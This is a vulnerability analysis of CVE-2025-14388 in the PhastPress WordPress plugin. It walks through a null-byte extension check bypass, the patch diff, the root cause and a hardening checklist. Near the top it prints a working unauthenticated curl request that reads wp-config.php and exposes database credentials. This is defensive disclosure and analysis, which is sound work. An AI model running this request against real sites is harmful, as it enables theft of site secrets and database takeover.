CVE-2025-14388 Exploit & Vulnerability Analysis

The Exploit

No authentication is required.

curl -i 'http://TARGET/wp-content/plugins/phastpress/sdk/phast.php?url=/wp-config.php%2500.txt'

The vulnerable server returns HTTP 200 and dumps the contents of wp-config.php into the response body. The attacker sees sensitive secrets such as DB_NAME, DB_USER, and DB_PASSWORD returned directly from the webroot file read.

What the Patch Did

Before

private function guard(\Kibo\Phast\ValueObjects\URL $url, callable $cb)
{
    if (!in_array($this->getExtensionForURL($url), self::getAllowedExtensions())) {
        return false;
    }
    $file = $this->getFileForURL($url);
    if ($file === false) {
        return false;
    }
    return $cb($file);
}
private function getExtensionForURL(\Kibo\Phast\ValueObjects\URL $url)
{
    $dotPosition = strrpos($url->getDecodedPath(), '.');
    if ($dotPosition === false) {
        return '';
    }
    return strtolower(substr($url->getDecodedPath(), $dotPosition + 1));
}

After

private function guard(\Kibo\Phast\ValueObjects\URL $url, callable $cb)
{
    $file = $this->getFileForURL($url);
    if ($file === false) {
        return false;
    }
    if (!in_array($this->getExtension($file), self::getAllowedExtensions())) {
        return false;
    }
    return $cb($file);
}
private function getExtension($file)
{
    $dotPosition = strrpos($file, '.');
    if ($dotPosition === false) {
        return '';
    }
    return strtolower(substr($file, $dotPosition + 1));
}

The patch changes the extension whitelist check from the decoded URL path to the resolved filesystem path. It now ensures the file path is normalized before validating the extension, using getExtension($file) instead of getExtensionForURL($url).

Root Cause

This is a CWE-22 path traversal / improper input validation bug. The attacker-controlled URL path enters guard() as a Kibo\Phast\ValueObjects\URL object. The original code validates the extension against $url->getDecodedPath(), then later resolves the actual file path with getFileForURL(). Because appendNormalized() strips everything after a null byte, an input like /wp-config.php%2500.txt passes the extension check as .txt, but the normalized filesystem path becomes /wp-config.php before the file is opened. The trust boundary from HTTP request path to local filesystem path is crossed without validating the real file location.

Why It Works

The single load-bearing change is the replacement of getExtensionForURL($url) with getExtension($file) after getFileForURL($url) has resolved the path. Without that line, the code still validates an attacker-controlled decoded URL string instead of the actual file path. The patch also reorders the guard so existence is checked before extension, which prevents early approval of invalid URLs; however, the key defense is validating the extension on the normalized filesystem result rather than on the raw decoded request path.

Hardening Checklist

• Use realpath() or wp_normalize_path() to resolve requested paths to an absolute location before validating extensions.
• Reject requests containing embedded null bytes with strpos($path, "\0") !== false after URL-decoding.
• Determine allowed file types from the resolved filename using pathinfo($file, PATHINFO_EXTENSION) or wp_check_filetype(), not from the URL text.
• Confine file access using directory checks like strpos($resolvedPath, WP_CONTENT_DIR) === 0 or equivalent.
• For file-serving endpoints, ensure input comes through esc_url_raw() / wp_unslash() and avoid trusting raw request paths.

References

• https://nvd.nist.gov/vuln/detail/CVE-2025-14388